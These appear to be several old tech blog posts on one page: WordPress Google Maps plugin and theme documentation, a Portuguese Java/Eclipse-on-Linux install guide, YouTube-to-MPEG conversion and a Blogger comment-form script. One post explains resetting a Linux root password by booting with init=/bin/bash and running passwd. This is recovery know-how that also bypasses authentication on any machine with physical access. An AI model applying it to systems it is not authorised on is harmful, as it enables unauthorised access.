  2. First definition term (<dt>, first green line) must contain only a link to Google Maps site, to define its center and other map parameters. The text for the link is ignored when a map is generated, so use a text like “Center of Map” so people accessing your posts outside your blog (for exemple, through feed readers) will have a clue what is this link for.
  3. The rest is a pair of terms and definitions (<dt> and <dd>) with the marker position (as a Google Maps URL) and the text on the balloon respectivelly.
  4. You can create a balloonless markers specifying only a <dt> without a <dd>.
  5. Whatever you put inside the <dd> block will appear inside the balloon. Put links, images, lists, tables, etc.

Using Google My Maps or KML and GeoRSS maps

You can use Google My Maps service to create and manage colorfull markers, paths, regions and the text inside the balloon, and simply use the “Link To This Page” link to embed the map in your page as described above.

The plugin will use the KML-exported version of your map to create the balloons, markers, regions and paths. Simply exaplained, KML is XML dialect that contains all meta information of your maps: markers positions and images, line colors, balloon texts, etc. You can create KMLs with tools like Google Earth, Goole Maps or even using a plain text editor. GeoRSS format is also supported but can’t be used for paths, regions and markers colors, only plain geographical positions.

The good news is that you can embed KML-maps from any source, and not only from Google My Maps. You can upload a KML file to your web server and pass it to the plugin to render it. Here is an example on how to do it in a more advanced way:

<dl title="googlemap;w:100%;h:400" id="my-wonderful-map-with-kml">

	<dt><a href="http://maps.google.com/?z=7&ll=-23.550887,-46.631985&om=1">Center of map</a></dt>

	<dt><a title="kml" href="http://my.server.com/spots-on-the-farm.kml">markers</a></dt>

	<dt><a title="kml" href="http://my.server.com/spots-on-the-beach.kml">more markers</a></dt>

</dl>

This example will render a map centralized on geo position -23.550887 -46.631985 and overlay it with two KML specifications: spots-on-the-farm.kml and spots-on-the-beach.kml. Note the required title=”kml” parameter that indicates to the plugin that this is KML or GeoRSS overlay and not a plain marker position.

Positioning and Style Possibilities

To have better control over the map positioning and overall look, you can manually edit the HTML code while posting, including style and class attributes. Find the <a> or <dl> tag for your link and use this examples to get some clues:

  • <a style=”float:left; width:300px; height:300px;” title=”googlemap”
    Renders a 300×300 map floating on left of the paragraph. See example.
  • <a class=”photo” style=”float:right;” title=”googlemap”
    Renders a map with default dimensions floating on the right of the paragraph, with style class photo, that in my theme defines some margins and borders.
  • <dl style=”visibility: hidden;” title=”googlemap”
    Using style=”visibility: hidden” will make the browser hide the map definititon text while loading the page. Seconds later, when the plugin renders the maps on your page, the hidden blocks will finaly appear as maps.

The HTML attributes id=, style= and class= you specify will be inherited by the generated map.

In addition, a CSS class called map will be added to all maps, and to all balloons a CSS class named balloon will be assigned. This way you can define your own style for these elements.

Troubleshooting

Some common problems people have, and solutions.

  • Map does not appears or appears on a different geo locationMake sure the Google Maps URL you are pasting is correct and complete. A correct URL must have the following parameters: ll= required to define latitude and longitude for center of the map or a marker, om= option to show or not the overview map on bottom-right, z= required to define the initial zoom factor, t= option to define if map is plain, satellite or hybrid, msid= required if you are pasting My Maps from Goole Maps website.
  • Problems with &You should not have problems with & chars being modified by the WordPress editor. If so, it means you are working with complex maps. Yes, WordPress WYSIWYG editor sucks a little bit. So if you are working with complex maps, you should switch to the plain text editor. You can’t just open the post editor in WYSIWYG and select the plain text editor after that. The mess was already done. You will have to edit your profile under Users->Your Profile and deselect the “Use the visual editor when writing” options when you edit that post. Once it is saved you can reselect it again.
  • Grey area instead of markers, or simply don’t have markersGoogle Maps API uses a lot of CSS style to render its maps on your page. This problem is caused by a conflict between CSS needed by Google Maps and your page or theme defined style. Use Firefox’ DOM inspector to drill down into your document structure until you find the markers XHTML nodes. Then switch to CSS Style Rules mode on the inspector, then select a rule that was defined by your theme, on the top-right box, then delete “background-” related properties on the bottom-right box, one by one, until the marker appears. This will indicate you which property you have to delete from your theme’s or own style.css file.
  • Problems displaying the map on IE7

I still don’t know what is the problem here. I rarely use Windows nor IE, so I can’t reproduce it. This is probably caused by the same CSS conflict above. If you can correctly see the map on this page with IE7, indicates that the problem is specific to your page and related stylesheets. You must debug your CSS styles.

No WordPress ?

If you use other blogging systems, or just want a simple way to create maps on your pages you can still take advantage of this plugin.

Download the plugin, unzip, install its content somewhere on your server accessible from the web. Then edit the HTML source of the pages you want to render maps, find the <head> block, and include the following code inside of it:

<!-- Google Maps Plugin (begin) -->
<!-- http://avi.alkalay.net/2006/11/google-maps-plugin-for-wordpress.html -->

<!-- Google Maps API -->
<script src="http://maps.google.com/maps?file=api&v=2.x&key=MY_API_KEY" type="text/javascript">
</script>

<!-- Google Maps Plugin logic -->
<script src="http://my.site.com/path/to/plugin/googlemapsPlugin.js" type="text/javascript"></script>

<!-- Google Maps Plugin initialization -->
<script type="text/javascript">
	//<![CDATA[

	MapPluginInit(
		/* Default maps width  */          500,
		/* Default maps height */          300,
		/* Use rel instad of title? */     false);
	//]]>
</script>

<!-- Google Maps Plugin (end) -->

Change the red parts to fit your needs. Every page containing the above block will be able to render simple and complex maps as described.

About

This plugin was inspired on Macdiggs Google Maps plugin, but was completely redesigned, rewritten, has much more functionality, made more user friendly, has cleaner code and is more standards oriented. The former Macdiggs’ plugin will not receive updates anymore so this is the plugin you should be using.

Instalando Java e Eclipse em Linux

permalink Porque Java com Linux ?

Nos primórdios das tecnologias, todas elas nasciam proprietárias porque seus criadores queriam explora-las ao máximo, por serem todas novidades.

Depois da popularização do PC, e mais ainda, da Internet, fabricantes começaram a se reunir ao redor de Padrões Abertos para criar uma rede de valor onde todos — fabricantes e usuários — acabam ganhando.

Os Pilares do e-businessExistem hoje inúmeros Padrões Abertos, mas os que se destacam são os seguintes:

  • HTML
    É a representação universal de interfaces com usuários. Hoje qualquer usuário de computador sabe usar um browser e navegar através de um hipertexto. HTML, ou melhor ainda, hoje, DHTML ou AJAX, é o padrão aberto para aplicações interagirem com usuários.
  • XML
    Antes de XML, não havia um padrão aberto amplamente aceito que permitisse qualquer aplicação falar com qualquer outra aplicação, mesmo de fabricantes diferentes. XML se tornou a base dos Web Services e Arquitetura Orientada a Serviços, que traz o benefício da integração de processos, com parceiros, clientes e fornecedores.
  • Java Enterprise Edition
    Java é a tecnologia escolhida por toda a indústria para transformar processos de negócio em software. É o Padrão Aberto para se escrever aplicações. Antes de Java, desenvolvedores usam diversas linguagens, sem uma metodologia universal de programação e sem nenhum padrão de bibliotecas de alto nível. JEE (Java Enterprise Edition) é um padrão de biblioteca com métodos universais para aplicações de negócio.
  • Linux
    É o sistema operacional escalável e multiplataforma para rodar tudo isso. É o componente aberto que faltava para ligar a lógica de negócio com padrões abertos de HW.

Essas quatro tecnologias juntas provém tudo que um desenvolvedor precisa para criar suas aplicações de negócio.

permalink Java comparado a C/C++, PHP, Perl e Python

Cabe ao desenvolvedor escolher a linguagem/tecnologia certa para a aplicação certa. Não só os aspectos tecnológicos devem ser levados em conta, mas também aceitação no mercado, aderência a padrões, reputação, política de atualização da tecnológica, prontidão para uma aplicação de negócios, etc.

  • C é uma linguagem criada para desenvolver sistemas operacionais, ou algoritmos de baixo nível, quase no nível da máquina, e é nesse nível que essa linguagem se sai melhor. C++ surgiu a alguns anos trazendo orientação a objetos, mas ambas linguagens falharam em padronizar suas semânticas e, principalmente, bibliotecas multiplataforma abertas, e de uso genérico. A não ser que você esteja escrevendo sistemas operacionais, ou bibliotecas de acesso a hardware, uma linguagem mais prática que C ou C++ deve ser escolhida para desenvolver sua aplicação de negócio.
  • PHP é uma linguagem/tecnologia desenhada para criar páginas web dinâmicas. Seus programas são geralmente mesclados com código HTML e equivale a JSP e ASP. É muito usada e provou seu valor, porém tem pouca penetração no mundo corporativo e de aplicações de negócio (de fabricantes de SW), e por isso pouco suporte da indústria para que a tecnologia evolua como um padrão. Então, por ser um investimento de risco, dificilmente uma grande empresa vai escolher PHP como tecnologia estratégica para a confecção de suas aplicações críticas, mesmo porque PHP é mais madura somente para aplicações web.
  • Perl é abreviação de Practical Extract and Reporting Language, que sugere ter sido criada para manipular texto. A linguagem e suas bibliotecas cresceram para muito além disso, e há hoje quem a use para fazer grandes sistemas. Porém isso é considerado um exagero de uso, pois os programas são interpretados em tempo de execução, o que acarreta performance limitada, e é de fato desenhada para automatizar tarefas de sistema operacional. Python, apesar de ser mais moderna e poder ser compilada, não foge muito deste escopo também. Além disso, ambas ainda não conseguiram uma aceitação comercial madura, e, não representando um investimento seguro a longo prazo, ainda não tem sido escolhidas como estratégicas para a fábrica de SW de uma empresa, ou para um sistema complexo e de missão crítica.

Em contrapartida, a tecnologia Java tem as seguintes características:

  • Atingiu um nível de maturidade e aceitação de toda a industrial que o torna um investimento seguro quando da escolha de uma plataforma de desenvolvimento de aplicações de negócio.
  • Evolui de acordo com as decisões de um comitê independente chamado Java Community Process, onde empresas e indivíduos votam igualmente para a aceitação de uma novidade. São integrantes ativos do JCP empresas como IBM, Apache Software Foundation, Dolby Laboratories, JBoss, SAP, Oracle, Nokia, Sony, etc. Lista completa em http://jcp.org/en/participation/members.
  • Toda a indústria respeita as decisões do JCP, evitando o surgimento de derivados (forks) de comportamento diferente.
  • É um grande polo tecnológico, tendo somente .NET como seu polo oposto e concorrente (e ainda imaturo de certa forma).

permalink Instalando Java Em Linux

Há muitas formas de instalar a JVM em Linux, mas há somente uma forma correta: usando RPM através do repositório JPackage.

permalink Sobre Repositórios de RPMs

A instalação de um pacote RPM pode falhar se outro pacote precisa ser instalado antes. Isso é conhecido como o inferno das dependências.

Para resolver este problema a comunidade criou ferramentas de instalação de pacotes como o Yum e o APT, que, junto com os metadados oferecidos por um repositório de RPMs, liquidam este problema calculando tudo que é necessário fazer para instalar certo pacote, atualizando automaticamente pacotes já instalados, ou instalando novos, tudo para satisfazer as dependências do pacote que o usuário deseja instalar.

Um repositório é um site na web que contem vários RPMs e metadados de interdependências sobre esses pacotes, que são usados por ferramentas como yum e apt-get.


permalink
O projeto JPackage e seu Repositório de RPMs

jpackage logoO JPackage é um repositório de RPMs de alta qualidade de softwares relacionados a Java. É uma comunidade de pessoas que empacotam em RPM as JVMs mais conhecidas do mercado, bem como softwares Java populares como Tomcat, Eclipse, Jakarta, etc.

A primeira pergunta que surge depois que dizemos isso é: “Mas as JVMs da Sun, IBM, etc já não são disponibilizadas em RPM ?�? Sim, mas cada fornecedor empacota como bem entende, sem seguir nenhum padrão de diretórios ou do sistema operacional. E essa despadronização faz a tecnologia como um todo ser mais difícil de usar.

O Projeto JPackage resolveu isso definindo uma organização de diretórios que permite multiplas JVMs, e lugares padronizados para arquivos JAR, WAR, EAR, etc. O JPackage inovou simplesmente aplicando os conceitos do Filesystem Hierarchy Standard — um padrão aberto dos mais importantes para Linux — aos softwares Java.

O resultado é tão bom, que a Red Hat, SUSE, Mandriva e outros adotaram o padrão JPackage de empacotamento e diretórios para tudo que se refere a Java em suas distribuições (RHEL, Fedora, SLES, SLED, OpenSUSE, NLD, Mandriva, etc).

permalink Problemas do JPackage

O JPackage tem uma diretriz de fornecer em seu repositório somente RPMs de softwares livres. Por isso, softwares que não tem licenças livres estão lá somente como RPMs-fonte, que não são tão simples de se instalar, mas mesmo assim promovem a organização e a qualidade do JPackage. Entre esses softwares estão a própria JVM, que vamos demonstrar sua instalação agora.

permalink Inicializando o JPackage em seu sistema

Antes de instalar qualquer RPM oferecido pelo JPackage, você precisa configurar as ferramentas que acessam e instalam os pacotes automaticamente no seu sistema.

Nos nossos exemplos, vamos usar o Fedora Linux com YUM. Pode-se optar pelo apt-get ao invés do YUM, ou de outra distribuição Linux ao invés do Fedora. No caso do Red Hat Enterprise Linux ou CentOS, o processo é idêntico.

permalink Tenha o YUM ou apt-get no seu sistema

No caso do Fedora 4, RHEL 4 ou CentOS 4, já temos o YUM instalado no sistema, e só teremos que configura-lo.

No caso de outro Linux, você pode testar se estas ferramentas estão instaladas simplesmente executando o comando yum ou apt-get.

Se você finalmente concluiu que não as tem, encontre-as aqui:

Nos nossos exemplos, vamos usar o Yum.

permalink Configure o YUM para usar o repositório JPackage

Basta instalar um arquivo de configuração no diretório /etc/yum.repos.d/ desta maneira:

bash# cd /etc/yum.repos.d/
bash# wget http://www.jpackage.org/jpackage.repo

Edite o arquivo jpacakge.repo que você acabou de baixar habilitando e desabilitando os canais de RPMs específicos para seu sistema. Por exemplo, no nosso Fedora Core, garantimos que os canais jpackage-generic e jpackage-fc contém a linha “enabled=1�?.

permalink Instale o primeiro pacote

O pacote jpackage-utils deve estar instalado para começar usar o repositório. Nas últimas versões das distribuições populares, ele já está instalado. Nesse caso é boa idéia atualiza-lo.

Para fazer isso:

bash# yum install jpackage-utils   # No caso de não estar instalado ainda.
bash# yum update jpackage-utils    # Para atualiza-lo.

permalink Instalando a Máquina Virtual Java (JVM)

Esta é uma das partes mais difíceis porque por questões de licensa o Projeto JPackage não tem permissão para prover o RPM pronto para ser instalado de softwares que tem licensa restrita. É o caso de todas as JVMs comerciais. O JPackage provê o pacote fonte que a partir dele pode-se construir fácil, porém manualmente, o RPM instalável. E vamos demonstrar isso aqui.

permalink JVM da IBM

Seguimos estes passos:

  1. http://www.jpackage.org
  2. Procuramos e baixamos o nosrc.rpm da JVM da IBM. A última vez que olhamos estava em http://mirrors.dotsr…./java-1.5.0-ibm-1.5.0.2.3-3jpp.nosrc.rpm
  3. Consultamos o pacote para descobrir de onde se baixa a JVM da IBM com o comando rpm:
    bash# rpm -qpi java*nosrc.rpm
    Name        : java-1.5.0-ibm               Relocations: (not relocatable)
    Version     : 1.5.0.2.3                         Vendor: JPackage Project
    Release     : 3jpp                          Build Date: Tue 15 Aug 2006
    Install Date: (not installed)               Build Host: tortoise.toronto.redhat.com
    Group       : Development/Interpreters      Source RPM: (none)
    Size        : 395165271                        License: IBM Binary Code License
    Signature   : (none)
    Packager    : Thomas Fitzsimmons
    URL         : http://ibm.com/developerworks/java/jdk/linux/download.html
    Summary     : IBM Java Runtime Environment
    Description :
    This package contains the IBM Java Runtime Environment.

    e descobrimos que devemos procurar na URL marcada.

  4. Fomos para http://ibm.com/developerworks/java/jdk/linux/download.html, nos registramos, escolhemos baixar a SDK 1.5 (que é a versão do RPM) em formato tar-gzip (tgz). Tivemos que baixar também a biblioteca javacomm do mesmo lugar. No fim copiamos tudo para o diretório de fontes para RPMs assim:
    bash# cd /diretorio/onde/baixei/SDK
    bash# cp ibm-java2-sdk-50-linux-i386.tgz /usr/src/redhat/SOURCES
    bash# cp ibm-java2-javacomm-50-linux-i386.tgz /usr/src/redhat/SOURCES

    No SUSE, copie para /usr/src/rpm/SOURCES.

  5. Construimos os pacotes finais com este simples comando:
    bash# cd /diretorio/onde/baixei/nosrc.rpm
    bash# rpmbuild –rebuild java*nosrc.rpm

    e vimos uma série de coisas acontecendo: é a construção do pacote.

  6. Quando terminou, encontramos todos os pacotes gerados em /usr/src/redhat/RPMS/i386. Instalamos todos assim:
    bash# cd /usr/src/redhat/RPMS/i386
    bash# rpm -Uvh java*ibm*rpm

    e a JVM da IBM está instalada.

O padrão JPackage definiu que a JVM deve ser a soma de uma série de sub-pacotes, todos com nome padronizado, e os que geramos neste exemplo são:

java-1.5.0-ibm-1.5.0.2.3-3jpp.i386.rpm A JRE mínima. É o pacote básico que você deve instalar.
java-1.5.0-ibm-alsa-1.5.0.2.3-3jpp.i386.rpm Suporte a arquitetura de audio ALSA do Linux.
java-1.5.0-ibm-plugin-1.5.0.2.3-3jpp.i386.rpm Java Plugin para os browsers Mozilla e Firefox. Não obrigatório.
java-1.5.0-ibm-devel-1.5.0.2.3-3jpp.i386.rpm O compilador Java e a SDK. Instale-o se você vai programar em Java.
java-1.5.0-ibm-src-1.5.0.2.3-3jpp.i386.rpm Fontes de programas em Java, para estudo e teste.
java-1.5.0-ibm-jdbc-1.5.0.2.3-3jpp.i386.rpm Driver JDBC genérico para o unixODBC genérico. Não é necessário se você vai usar o driver JDBC de seu banco de dados.
java-1.5.0-ibm-demo-1.5.0.2.3-3jpp.i386.rpm Alguns programas demo. Não é obrigatório.
java-1.5.0-ibm-javacomm-1.5.0.2.3-3jpp.i386.rpm Java Communications API para Linux.

No JPackage há modelos de empacotamento (src.rpm) das JVMs da IBM, Sun, BEA e Blackdown. Para instalar qualquer uma delas, você terá que construir o RPM como demonstramos aqui.

A diferença entre elas está no nome do RPM (“ibm�?, “sun�?, “blackdown�?), e você pode ter instalado em seu sistema JVMs de vários fornecedores simultaneamente. Os RPMs de todos os fornecedores, segundo o padrão JPackage, obedecem esta mesma convenção de nomes de sub-pacotes.

permalink Instale Outros Softwares Java que Não Tem Fonte

Será necessário instalar outros RPMs sem fonte para usar corretamente outros pacotes populares do JPackage. Tentanto instalar o tomcat, verificamos que ele necessita do JTA, que é uma API de transações.

Então repetimos os conceitos do passo anterior:

  1. Começamos em http://jpackage.org
  2. Procuramos e baixamos o nosrc.rpm da JTA. A última vez que olhamos estava em http://mirrors.dotsrc.org/jpackage/1.6/generic/non-free/SRPMS/jta-1.0.1-0.b.4jpp.nosrc.rpm
  3. Consultamos o pacote (ou as infos sobre o pacote em jpackage.org) para descobrir de onde se baixa a JTA, com comando rpm, e descobrimos que precisamos procurar em http://java.sun.com/products/jta/.
  4. Desta vez, tivemos que baixar dois ZIPs: o de classes e o de documentação. E copiamos ambos para o diretórios de fontes de RPM
    bash# cd /diretorio/onde/baixei/JTA
    bash# cp jta*-classes.zip jta*-doc.zip /usr/src/redhat/SOURCES
  5. Construimos os pacotes finais e instalamos os RPMs gerados:
    bash# cd /diretorio/onde/baixei/nosrc.rpm
    bash# rpmbuild –rebuild jta*nosrc.rpm
    bash# cd /usr/src/redhat/RPMS/noarch
    bash# rpm -Uvh jta*rpm

    E a JTA está instalada.

permalink Instalando outros Softwares Java pelo JPackage

Neste ponto, você já tem o repositório JPackage configurado no seu sistema, e a JVM de sua escolha instalada conforme ditam os padrões FHS de diretórios do Linux.

Agora é muito fácil instalar qualquer outra aplicação, biblioteca ou JAR disponível no JPackage, representado pelo nome do pacote na lista a esquerda em http://www.jpackage.org.

Para instalar ou atualizar um pacote, bastam os seguintes comandos respectivamente:

bash# yum install [nome do pacote]    # Para   instalar.
bash# yum update [nome do pacote]     # Para atualizar.

O YUM, usando os metadados do repositório, vai resolver todas as dependências, baixar tudo que for necessário, e instalar os pacotes.

permalink Exemplo: Instalando o Apache Tomcat

O Apache Tomcat é um servlet container, que se integra ao webserver e permite a criação e execução de aplicações web feitas em Java (servlets).

Para instalar o Tomcat, segundo nosso exemplo anterior, basta:

bash# yum install tomcat5

Após resolver todas as dependências, o YUM determinou que para instalar o Tomcat, seria necessário instalar também vários módulos do Jakarta, Axis, módulos de XML, etc. E tudo foi automaticamente baixado e instalado num mesmo passo.

permalink Instalando o Eclipse

O Eclipse foi a princípio uma poderosa ferramenta de desenvolvimento de aplicações, ou IDE.

Desde a versão 3, ele foi reestruturado para ser um “servidor de aplicações�? de desktop. Ou seja, se tornou o que chamamos de Rich Client Platform — ou RCP — que é uma base genérica que provê a infraestrutura padronizada que qualquer aplicação de desktop precisa. O IDE então passou a ser uma aplicação, um plugin, do RCP. O IDE Java está no JPackage com o nome de eclipse-jdt, e para instala-lo, basta:

bash# yum install eclipse-jdt

Como sempre, todos os outros módulos necessário para estes componentes serão automaticamente selecionados e instalados.

O ícone do Eclipse deve aparecer no menu inicial, pronto para ser usado.

Soleil Theme for WordPress

Soleil screenshot

The Soleil theme for WordPress was based on the original creation and colors by designer Carrie Petri for other blog systems. I just mixed the PHP code and some technical ideas thowards what a blog system should be.

Althought it looks really good, Soleil is way more than eye candy. It is unique due to this main features:

  1. Localized on demand
    The blog generic control strings will appear in visitor’s language that he set on his browser. Also, all blog-specific strings as category names, post titles and personal links may have hooks for personal localizations. See bellow how to activate this feature.
  2. Widgetized sidebar
    Soleil provides all its sidebar content as widgets. If you use the WordPress Widget Plugin, you’ll be able to visually rearrange the sidebar and also visually use more widgets from a vast network of developers.
  3. Very friendly to feed readers
    Every aspect of a Soleil blog provides clear and intuitive links and icons to its feed version. Categories archive pages, comments, list of categories on the sidebar, etc. Browse my blog to see what I’m talking about.

All artwork was completely redrawed in CAD systems and in OpenOffice.org Draw to improve images quality. The vector files are included.

Other benefits of this theme are:

  1. Shiny and vibrant colors, thanks to Carrie.
  2. Certified to work on Firefox 2, IE 6 and Konqueror. This gives a clue it will look good in any other browser.
  3. Efficient, yet well balanced use of the entire screen.
  4. Intuitive icons for reply, trackback, blog, post and category feeds, etc.
  5. Clear visual separtion between each post, each comment, etc.
  6. Shows number of comments in evidence.
  7. Direct links to post and comment editing (for administrator only).
  8. Includes a style for printing that hides parts of the page irrelevant to this media.
  9. Provide list of links with icons to popular feed readers.

Download the theme archive, unzip it in your [WORDPRESS_ROOT]/wp-content/themes directory, and select it in the Presentation tab of your WordPress admin interface. Organize the sidebar widgets (if you use the recomended Widgets Plugin) on the admin interface, Presentation -> Sidebar Widgets.

Soleil Predefined Style Classes

Soleil provides some CSS classes that I heavily use in my posts:

photo
To be used on image tags. Add margins, padding and a slim border. Use it like this:

<img class="photo" style="float right" …
command
From the docbook series and for technical writers, renders a computer command in evidence. Use it like this:

<span class="command">ls -al</span>
programlisting and screen
From the docbook series and for technical writers, renders a box with special fixed size font as a computer output or programlisting. Adds scrollbars if content is too wide, to not breake your layout. Usage:

<pre class="programlisting"> 
	// sourcecode of a program 
	code { 
		Some code 
	} 
</pre>

or

<pre class="screen"> 
	bash$ ls -al 
</pre>
filename
From the docbook series and for technical writers, renders a filename in evidence. Use it like this:

<span class="filename">/bin/kdb</span>
xmlbutton
An XML button maker, the one very popular on blogs etc. To get a button like My XML button, use as:

<a class="xmlbutton" href="http://someplace">My XML button</a>
articleinfo
Creates a nice may-be-floating box for you to show some information about the post. The box will appear in evidence but outside the stream of the text. See an example on this post. Usage:

<div class="articleinfo" style="float: right">Some info about this article.<div>

You should also use <h4> as the header for subtitles inside posts.

Displaying Links Correctly on Sidebar

Many blogs that use Soleil have their links looking bad on their sidebar. To fix this, you should go to your blog admin interface, select Links->Link Categories and edit each link category’s properties in a way that each item will be wrapped into an HTML <li> tag.

For example, my blog categories have Before Link: <li> and After Link: </li>

Soleil Localization and Internationalization

Soleil’s default language is english, and is currently localized to portuguese.
To localize Soleil to you language, go to soleil/languages and copy the theme-pt.po (portuguese language) file to theme-YOURLANGUAGECODE.po and edit it to fit your language needs. The file format is very intuitive and it contains all generic messages the theme uses.

You can also localize your blog specific strings as your category names, blog name, blog description, and even some posts titles. For this you have to edit personal-YOURLANGUAGECODE.po in the same way.

To compile a .po file, on Linux do this:

bash$ msgfmt -c -v -o theme-YOURLANGUAGE.mo theme-YOURLANGUAGE.po 
bash$ msgfmt -c -v -o personal-YOURLANGUAGE.mo personal-YOURLANGUAGE.po

The .mo files must be located under soleil/languages/ while the .po don’t have to be under your blog installation, live them in your PC only.

To activate on demand localization based on visitor’s prefered language, ensure your wp-config.php file contains this:

define ('WPLANG', substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2));

Enjoy.

Converting YouTube to MPEG or iPod

In the end of this proccess you’ll have an .mpg file on your local disk, generated from an Internet-only YouTube URL.

First make sure you have ffmpeg (video encoding and decoding tools) and lame (MP3 audio encoding and decoding tools) softwares and dependencies installed on your system. You will also require the youtube-dl scripts that downloads the actual YouTube video.

In a Red Hat or Fedora system you can install it from Dag or Livna RPM repositories, with a simple yum command:

bash# yum install ffmpeg lame youtube-dl

Then you get to the YouTube video page you want to download. In this example we’ll use the Heist video, the first Linux ad from IBM, that has http://www.youtube.com/watch?v=DO9ZWDaLLxA as its URL.

I’ll use youtube-dl this way:

bash$ youtube-dl -t http://www.youtube.com/watch?v=DO9ZWDaLLxA

And I saw it connecting to YouTube several times and downloading the video. In the end, I found a big file named the_heist-RRZyz1vXkPE.flv in the current firectory, which is the video file.

Now lets convert it into MPEG with ffmpeg:

bash$ ffmpeg -i the_heist-RRZyz1vXkPE.flv -acodec copy -sameq heist.mpg

-acodec copy will cause ffmpeg to copy the audio from input to output file, while -sameq causes the output video quality to be the same as the source, but output file will be very big. For YouTube videos, you can use -b 320000 instead of -sameq to get smaller file sizes.

I saw ffmpeg taking some time to convert, and in the end I got the heist.mpg file which I was able to confortablly play in any MPEG aware video player, as mplayer.

If you want to convert the video file into MP4, which is the format supported by iPod Video players, you just change the extension:

bash$ ffmpeg -i the_heist-RRZyz1vXkPE.flv -acodec copy -b 320000 heist.mp4

Ffmpeg will take care to use the maximum screen size available from the source (the .flv file) so the converted file will be as hi-fi as YouTube let be (not too high really).

Enjoy your video.

System Rescue Without a Password

So you lost your Linux root password.

No panic. There is a way to reset it:

  1. Turn the computer on and pay attention.
  2. When the bootloader (GRUB or LiLo) screen appears, select the partition you want to fix the password.
  3. Do not boot it yet. Go into edit mode for this partition.
  4. In the end of the kernel boot parameters line, include this init=/bin/bash.
  5. Then boot the partition.
  6. You will see a very fast boot. And right after the pure kernel initialization you’ll receive a root command line. If you try to change a password at this time (with the passwd command), you’ll get a message that means you don’t have write permissions on the filesystem.
  7. So you’ll have to put your system in a read-write state whit this commands:
    bash# mount /proc
    bash# mount -o remount,rw /
  8. All set. Now use the passwd command to change the root password.
  9. Now type the following: sync; sync; exit. Then reset the system.

Note: If the computer has a BIOS or Bootloader password that you don’t know, you won’t be able to use this technique.

The idea here is to change the default program that is executed to setup all the OS environment, right after the kernel initialization. By default it is /sbin/init, and what we did above is to change it to /bin/bash — a regular shell prompt, a command line.

Inline Blogger.com Comment Form

  • WARNING: This script is not being supported anymore since I moved to a much better blogging system with WordPress.

If you don’t want your blog visitors to be redirected to blogger.com website just to write a comment for your post, you are in the right place.

This page will show you how to include a comment form directly into your post page, just as you can see in this very page, bellow. After installing this solution in your blogger.com blog you’ll feel an instant increase in the number of comments people write for you, because a comment form right in the face of your visitor is way more intuitive and inviting tsule with nowadays blogger.com interfaces, and stepped out from a hack status into a clean, functional and well documented solution.

PLEASE, write a comment here, including a link to your blog so people can know who else is using this solution.

PLEASE, do not make test in this post. PLEASE, leave it for real comments or support questions. PLEASE, use this post to test the form.

Installing

  1. Download this script and make it available somewhere on your website, for example from the URL http://my.website.com/resources/bloggerCommentForm.js (this is the URL we’ll use in our examples).
  2. Edit your blogger.com template and look for the end of the HTML header marked by the </head> tag.
  3. Right before the header ending include the following piece of code in a way that everything will look like:
    <ItemPage>
    <script type="text/javascript" xsrc="http://my.website.com/resources/bloggerCommentForm.js"  >
    </script>
    
    <script type="text/javascript">
    // Lets configure the comment form a little bit
    
    // Include some style
    commentFormStyle();
    
    </script>
    </ItemPage>  </head>
  4. Now you’ll have to place a call to a JavaScript method that will render the form. Scroll down and look for the section on your template that renders the comment. It starts with a <div id=”comments”> tag. This code should be included right after it:
    <a name="postcomment"></a><h4>Write a Comment</h4>
    
    <script type="text/javascript">
    commentForm('<$BlogItemCommentCreate$>');
    </script>
  5. Save your template and republish your blog.
  6. Visit one of your posts page, see if the form appears, and try posting some different comments as different users.

Configuring the Form

You can configure the form, specialy for internationalization, in a very clean way without having to change the code. For example, look how it looks in a brazilian portuguese blog post.

  1. For that, edit your template again and look for the script initialization part you just included in the <head> section.
  2. You can define some JavaScript variables that will define the form language and other parametrizations. Copy and paste these defaults to start translating:
    <script type="text/javascript">
    
    // Lets configure the comment form a little bit
    
    // Include some style
    commentFormStyle();
    
    // General parameters
    var labelWidth = 80;
    var bloggerFormActionURL="http://www.blogger.com/login-comment.do"
    var confirmBeforePost = true;
    
    // Language defaults
    var bloggerUserLabel = "Blogger.com user";
    var otherUserLabel = "Other";
    var customUserLabel = "Name or nickname: ";
    var urlLabel = "URL: ";
    var anonLabel = "Anonymous";
    var rememberLabel = "Remember Me";
    var postedByText = "Posted by";
    var commentButtonText = "Post Comment";
    var previewButtonText = "Preview";
    var previewWindowTitle = "Comment Preview";
    var confirmText = "Post this comment?";
    var boldButtonText = "B";
    var italicsButtonText = "I";
    var linkButtonText = "Link";
    var linkPrompt = "Link Text:";
    var urlPrompt = "Link URL:";
    var quoteButtonText = "Quote";
    var quotePrompt = "Use your mouse to select the text"+
    " in the comment you want to quote.n"+
    "Then press the quote button.";
    </script>

Additionally, you may want to change the target links in your template to make them point visitors to the comment form in the post page. For example, I have the following piece of code in my template that renders each post footer:

<p class="post-footer">
<em><$BlogItemDateTime$></em> |
<a xhref="<$BlogItemPermalinkUrl$>"
title="permanent link">permalink</a>
<BlogItemCommentsEnabled>
<a class="comment-link"
xhref="<$BlogItemPermalinkUrl$>#postcomment"><$BlogItemCommentCount$>
comments</a>
</BlogItemCommentsEnabled>
<BlogItemBacklinksEnabled>
<a class="comment-link"
xhref="<$BlogItemPermalinkUrl$>#links"  >links to this post</a>
</BlogItemBacklinksEnabled>
<$BlogItemControl$>
</p>

This script is free and licensed under the LGPL.
Enjoy.